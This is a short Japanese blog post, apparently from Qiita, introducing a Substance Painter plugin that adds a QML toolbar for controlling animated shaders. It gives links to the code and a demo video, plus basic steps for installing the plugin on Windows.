といった物です。QML を扱うのは初めてで、UI の余白の取り方などがよくわかりません。が、とりあえずちゃんと動いてはいます。Vimeo [https://vimeo.com/360284919](https://vimeo.com/360284919) に動作のキャプチャー動画を置きました。Vimeo 埋め込めないのかQiita。いやそもそもYoutubeも埋めこめないんだっけ。。

github にコードはあがっています。
https://github.com/harayoki/SubstancePainterPluginAnimShaderControl

サンプルシェーダー側に難しいことは何もありません。QML側のコードは　[ここ](https://github.com/harayoki/SubstancePainterPluginAnimShaderControl/blob/master/plugin/AnimShaderControl/toolbar.qml ) にありますが、 やはり難しいことはありません。サブスタンスのプラグインの作り方の参考にはなるかと思います。

Windows なら、`C:\Users\{Username}\Documents\Allegorithmic\Substance Painter\plugins` みたいなフォルダの下に `AnimShaderControl` フォルダを丸ごとコピーすればツールバーが表示されるようになります。サンプル glsl シェーダーは `C:\Users\{Username}\Documents\Allegorithmic\Substance Painter\shelf\shaders` の下に置きます。あくまでサンプルなのでイケてるシェーダーは各自で用意してください。

自作のフローマップシェーダーもこのプラグインにつなぐ予定です。

日記みたいな投稿ですが、誰かの役に立つ気はします。
以上です。

## おまけ

せっかくなので海外向けに使い方の記事も書きました。( medium デビュー )
https://medium.com/@harayoki/create-animated-shader-for-substance-painter-4e0e2f3b089f